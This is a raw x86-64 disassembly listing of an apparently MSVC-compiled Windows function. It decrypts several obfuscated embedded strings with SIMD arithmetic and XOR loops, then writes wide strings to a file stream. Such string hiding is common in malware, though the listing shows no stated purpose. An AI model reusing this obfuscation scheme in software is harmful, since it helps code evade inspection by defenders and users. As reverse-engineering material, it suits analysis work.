sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d9a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002cdd0
movups xmm0, xmmword [0x140030d00]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [0x140030d10]
movups xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [0x140030d20]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140030d30]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140030d40]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140030d50]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x140030d58]
mov dword [rbp + 0xe8], eax
mov r9d, r12d
mov edi, 0x1f
mov ebx, dword [0x14003a018]
lea esi, [rdi - 0x19]
cmp ebx, 2
jl 0x14000dc09
movdqa xmm10, xmmword [0x140031a30]
movdqa xmm6, xmmword [0x140031ad0]
movdqa xmm7, xmmword [0x140031ac0]
movd xmm8, esi
movdqa xmm11, xmmword [0x140031a50]
movdqa xmm12, xmmword [0x140031a60]
movd xmm9, edi
movdqa xmm13, xmmword [0x140031a70]
lea rcx, [rbp + 0x90]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x14000da70
cmp r9d, 0x2e
jge 0x14000dc7b
movsxd rax, r9d
lea r10, [rbp + 0x90]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3e
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0x964fda6d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x6d
sub r8w, cx
add r8w, di
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x14000dc20
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x260]
call fcn.140022ec0
movups xmm0, xmmword [str.HRKvOLGA]
movups xmmword [rbp - 8], xmm0
movsd xmm0, qword [0x140031330]
movsd qword [rbp + 8], xmm0
mov eax, dword [0x140031338]
mov dword [rbp + 0x10], eax
movzx eax, word [0x14003133c]
mov word [rbp + 0x14], ax
mov r9d, r12d
cmp ebx, 2
jl 0x14000de70
movdqa xmm6, xmmword [0x140031ad0]
movdqa xmm7, xmmword [0x140031ac0]
movd xmm8, esi
movd xmm10, edi
movdqa xmm12, xmmword [0x140031a70]
movdqa xmm5, xmmword [0x140031a30]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a60]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140031a50]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [str.HRKvOLGA]
pxor xmm3, xmm0
movq qword [rbp - 8], xmm3
movdqa xmm5, xmmword [0x140031a40]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a60]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140031a50]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm1, qword [rbp]
pxor xmm3, xmm1
movq qword [rbp], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 8]
lea r10, [r10 + rax*2]
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3e
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0x964fda6d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x6d
sub r8w, cx
add r8w, di
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x14000de80
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x260]
call fcn.140022ec0
lea rdx, [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b8]
mov rcx, rax
cmp qword [rbp + 0x1c0], 8
jb 0x14000df0d
mov rdx, qword [rbp + 0x1a8]
call fcn.140024710
movups xmm0, xmmword [0x140030cb0]
mov r11, rax
movups xmmword [rbp + 0x160], xmm0
movzx eax, word [0x140030cc8]
movsd xmm0, qword [0x140030cc0]
mov word [rbp + 0x178], ax
movsd qword [rbp + 0x170], xmm0
mov r9d, r12d
cmp ebx, 2
jl 0x14000e100
movdqa xmm6, xmmword [0x140031ad0]
movdqa xmm7, xmmword [0x140031ac0]
movd xmm8, esi
movd xmm10, edi
movdqa xmm12, xmmword [0x140031a70]
movdqa xmm5, xmmword [0x140031a30]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a60]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140031a50]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [0x140030cb0]
pxor xmm3, xmm0
movq qword [rbp + 0x160], xmm3
movdqa xmm5, xmmword [0x140031a40]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a60]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140031a50]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm1, qword [rbp + 0x168]
pxor xmm3, xmm1
movq qword [rbp + 0x168], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp + 0x160]
lea r10, [r10 + rax*2]
nop
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3e
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0x964fda6d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x6d
sub r8w, dx
add r8w, di
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x14000e110
lea rdx, [rbp + 0x160]
mov rcx, r11
call fcn.140022ec0
lea rcx, [rbp + 0x268]
call fcn.140021fb0
test rax, rax
jne 0x14000e1ae
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x260]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 8
jb 0x14000e1f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e1f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e1f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cdd0
mov r15, qword [rbp - 0x10]
movups xmm0, xmmword [rbp + 0x188]
movups xmmword [r15], xmm0
movups xmm1, xmmword [rbp + 0x198]
movups xmmword [r15 + 0x10], xmm1
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a0], 7
mov word [rbp + 0x188], r12w
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x260], rax
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x25c], edx
lea rcx, [rbp + 0x268]
call fcn.14001fc50
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x308]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 8
jb 0x14000e2ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e2c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e2c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cdd0
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a0], 7
mov word [rbp + 0x188], r12w
mov rdx, qword [rbp + 0x230]
cmp rdx, 8
jb 0x14000e331
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e32c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e32c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cdd0
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], 7
mov word [rbp + 0x218], r12w
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x370], rax
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x36c], edx
lea rcx, [rbp + 0x378]
call fcn.140020ce0
lea rcx, [rbp + 0x380]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x3f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x238]
xor rdx, qword [rbp + 0x240]
mov rcx, qword [rbp + 0x248]
mov qword [rcx], rdx
mov rax, r15
mov rcx, qword [rbp + 0x4120]
xor rcx, rsp
call fcn.14002cdb0
lea r11, [rsp + 0x42d0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov word [rsp + 0x48], r12w
lea rdx, [rsp + 0x48]
mov rcx, qword [rbp - 0x10]
call fcn.140021230
nop
lea rcx, [rbp + 0x260]
call fcn.14000e510
nop
lea rcx, [rbp + 0x188]
call fcn.140002840
nop
lea rcx, [rbp + 0x218]
call fcn.140002840
nop
lea rcx, [rbp + 0x370]
call fcn.14000e4a0
nop
mov rcx, qword [rbp + 0x238]
xor rcx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x248]
mov qword [rax], rcx
mov rax, qword [rbp - 0x10]
jmp 0x14000e3bf
call fcn.140001970
int3
call fcn.1400018d0
int3